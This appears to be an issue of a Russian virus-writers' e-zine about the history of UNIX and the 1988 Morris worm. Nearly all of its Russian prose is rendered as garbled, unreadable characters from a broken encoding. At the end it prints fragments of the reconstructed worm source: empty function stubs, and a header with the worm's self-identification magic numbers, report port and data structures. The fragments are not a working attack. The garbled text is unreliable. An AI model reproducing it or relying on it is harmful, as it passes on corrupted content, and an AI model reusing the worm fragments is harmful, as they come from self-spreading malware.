
                      -=POWER HEAP RESEARCH=-
          =>ᨬ p y ᫥<=

              
                                          
                                  
                                          
                         

                            
                                    
                         
                                       
                             
                       http://www.rezus.boom.ru
                       Helloween.virus@mail.ru

                        [H  ]

                    Ŀ
                     Hp 3  2002 (p 8) 
                    


                           
                            (p)

      稭 ୮  ᮢ   祢,
    ⮣      ⠭    ⨭    䠪, 
  ᫥  쭮 ࠭  ᮢ  -  
ᮯ   ஡ -   । ᮢ ᪮ 
࠭ ப஢,        
ᮢ      ᨫ   ⠭୮   ᢮  ⥪    ⥪
⥬᪮ ᯥ祭.
     訥 ⥬ ࠪ᪨   ஡   ᠬ    ᨫ
᢮ 㭨쭮, ᯥ稢 ⥬, , -,  
⥬ 室 ⠤ 樨,    ६  ன  ᫥
⥬  ࠬ ࠧ 㭨쭮 ⠭; -, 訥
⥬   ࠧ ⥬ ࠧ 㯠   ,
    쥧  ९⢨    ᮢ   
㦨 筨 ࠦ.
      ,    ⥬    設⢥  ᢮  襭
㭨쭮.       ⠭⭮         २⢮
⥬, ᫮訬  ப ࠭,   ப⨥,
᪮  ,  訩      ⥬,    㤠  ࠦ
ᥤ, ⠪   ⥪   ⥬  宦      
.
           祭      㡫   ஡
  ᮢ    ⮥     1981  ମ IBM
਩ ந⢮ ᮭ ஢  -    IBM PC!
      ੨  ந⢠    ⭮⥫쭠  襢
ᮭ  -  אַ  ᫥⢨    ⠭⭮!       㣮
஭,      㯭           ⭮     ᮭ     
짮⥫-ᨮ - ⮦ ᫥⢨ ⠭⭮.

      ⮣ .   ⭮  祬,      ᥣ  ६
  ᠬ  -  ⢥,   -  ୮ .
ਬ, 筠  㬠:     ⥬        ᮢ  
᪮  ࠭,     ६   
   , ᫥⢨  祣  﫨  ﭪ,  ᥫ,
ॢ,  த  ..   㦥  :  ஡, 㣮
 ঠ  饨⭮ ᯮᮡ  ࠭!
     筮   "஭ 㬮",  뢠 .
     ⠪ 筮 ६ 祫᪮   ᥡ 묨
ਢ    設 ⥬ -  ⥩.  ஬
⮣,    宦, ⮬ 祣   㤨⥫쭮    ⮬,
    ࠧ    ᢥ 짮⥫ ࠡ    ⥬ 
㤠筮 ᮧ묨  ணࠬ    ⥬.   ਬ஬  ⮬  
㦨  ᭮  ⢨   樮 ⥬ UNIX ( 
)  ஢ 몠 C.

     樮 ⥬ UNIX,      ᢥ    1969  ,
 饬  ⠫⫨ -   ᠬ UNIX - ணࠬ⮢
.ᮭ  .  [A6], ࠡ⠢  Bell  Laboratories  -  䨫
ᥬ饩  American  Telephon & Telegraph (AT&T),   ६
ঠ襩        裡    .  UNIX  﫠  
樮  ⥬    ७  㦤,   뫠 
筮      ᯮ짮,  㦥⢥    ⭮襭   
짮⥫       饩  ⨯ 設,  
  㤥   ࠡ.    ஬   ⮣,   UNIX   ࠧࠡ뢠   
짮⥫᪠   ⥬      ⮬      ⥬
ࠧ 㯠,   ஫쭮 .
     ᯥ ⥬ ॢ襫  .  UNIX    
ᨬ⨨  짮⥫,     AT&T ⥫쭮 ᨫ ᢮
樨    뭪.   UNIX    AT&T   ⠫   騬   ,
  줮ࠤ.    ⠫  ᮢ襭⢮
ᨨ ⥬:  1975  - UNIX  V6,  1976    -  UNIX  V7  (ࢠ
""  ),  1982    -  UNIX System III, 1984-85  - UNIX
System V.    UNIX - GENIX,  XENIX,  Ultrics,  VENIX,
PC-IX.    ࠧࠡ稪  ⠪  ୨᪨ 㭨
 ફ, ࠧࠡ⠢訩 UNIX 4.0, 4.1, 4.2  ..   ,  ᫨    
,   㣮⮢  1988 !

      ࠧ,  ⥭    ꥤ  ࠧ⨯  ⥬  
⠭        뭪  ப ࠭ ⥬
UNIX    ஢  몠  C  (  ᨫ    ⠡쭮   
짮⥫)      ᫮ "" ⠭ 
୮ , ᮧ 㪢쭮 ⥫ ।  ᮢ 
⥩.      筮,      ᭮     ᮧ  
⥫쭠  ᯥ樠⮢,    蠭  ।०,
   ७०   짮⥫   ᠬ  ᯥ祭    
ᮡ⢥ ᭮ ஬  ன.   ,    ⭮,  
஬  ﭥ...

     ...!    :  ⮬ 1988    AT&T Bell Laboratories
ࠡ⠫ 㤥 ᫥    ਪ᪨ 㭨⮢.
        祬      "९᪮   ணࠬ   ⥬
᭮    設⢠ ஢, ࠡ  ࠢ
樮 ⥬  UNIX".     ਭ樯  祣  ᮡ  -  
ਪ      樢  ࠭  -   ⮬  뫮:   
㤥⮢ ࠡ  ᮫ ௮,   ०,
ਮ  ࠪ᪨    ᯥ稢 ᥡ ࠡ稥   
࣠, - ᫨    䠪      १  ᪮쪮  楢
㯮    "- "    裡    ᮡﬨ,  訬 
ਪ ( ࠩ ,     ,      ⭮襭  
ࠬ). [A8]



______________________________
     [A6]   ᮭ  㯯  ࠧࠡ稪,  ᮧ  
1969   ᥬ  ਠ  UNIX.    ⮬ ᫥ 楫
ᮧ    㤮    樮    ⠭        ஢
᫥⥫᪨  ࠡ      ணࠬ஢;  ᠬ ⥬
।砫  設 PDP-7  DEC -  ।⠢⥫  ᥬ⢠
設,  ப  ࠭    ᫥⥫᪨ 業
࠭,  ⮢    ⢨ UNIX  ⠬.
       稫  ஥ ,        
易  ஦  1972  ᪠  ⥬, ᠭ
 ᮪஢ 몥 C.
     ,  C ⮦   AT&T   ⮦    ࠧࠡ⪠  
७ 㦤.   ⥬ UNIX ⮨ ਬ୮  10000 ப 
C   1000 ப  몥 ᥬ.

                          B    뫮.

                              " 3:45 AM, ।  (sic)  3  
                         1988  .       ,      
                           ,  ந諮..."
                                          ᮮ饭    ⮫,
                                   ।    ஭  
                                   Dockmaster.ARPA.


     ...஬ -  ᭠  ⠪,    묨  ᯥ⠬
砩訬        樮      -
砢 -  2  1988 .

     ᮫⭮  ᫥⥫쭮  ᮡ⨩    饥  ६
⠭  ࠪ᪨  ,  ᪮, -,  ६
ᠬ ⠪  뫨 ᮢ ० ᥣ  ன 樨
  㤠 ,     ஡ ॣ樨 䠪⮢ [B1]; ,
-,   ⮬,            ஢   ⠪㥬
᫨⥫   ,     १  祣  ࢠ    
짮⥫ﬨ.

                        /p ᫥y/


   ᥣ  室 ⮣ p.  test.c :

/* dover */

/*  The version of crypt() used in the worm program has the same tables as
 * Berkeley's 4.3 crypt(), but uses different code.  Since I don't know where
 * we put our 4.2 tape I can't check it against that code to find the exact
 * source.  I assume that it just a regualar crypt() routine with several
 * interior functions declared static, perhaps tuned somewhat for speed on the
 * VAX and Sun.
 */
crypt()
{ }
    
/* These might not be copyrighted, but I'm not taking the chance.  They are
   obvious. */
h_addr2host()
{}
h_name2host()
{}

/*
 * Local variables:
 * compile-command: "make test"
 * comment-column: 48
 * End:
 */
[Worm] 201)

  ⥯p stubs.c :

/* Magic numbers the program uses to identify other copies of itself. */

#define REPORT_PORT 0x2c5d
#define MAGIC_1 0x00148898
#define MAGIC_2 0x00874697
extern int pleasequit;/* This stops the program after one
 * complete pass if set.  It is incremented
 * inside of checkother if contact with another
 * happens. */

/* There are pieces of "stub" code, presumably from something like this to
   get rid of error messages */
#define error()

/* This appears to be a structure unique to this program.  It doesn't seem that
 * the blank slots are really an array of characters for the hostname, but
 * maybe they are.
 */
struct hst {
    char *hostname;
    int l4, l8, l12, l16, l20, l24, o28, o32, o36, o40, o44;
    int o48[6];/* used */
    int flag;/* used */
#define HST_HOSTEQUIV8
#define HST_HOSTFOUR4
#define HST_HOSTTWO2
    struct hst *next;/* o76 */
};

typedef struct {
    char *name;
    unsigned long size;
    char *buf;
} object;

extern struct ifses {
    int if_l0, if_l4, if_l8, if_l12; /* unused */
    int if_l16;/* used */
    int if_l20;/* unused */
    int if_l24;/* used */
    short if_l28;/* unused */
} ifs[];
extern nifs;

extern int ngateways;

extern object objects[], *getobjectbyname();
extern int nobjects;

/* Only used for a2in().  Why?  I don't know. */
struct bar {int baz;};
extern struct bar *a2in();

[Worm] 205)

   p  y  py 䠩...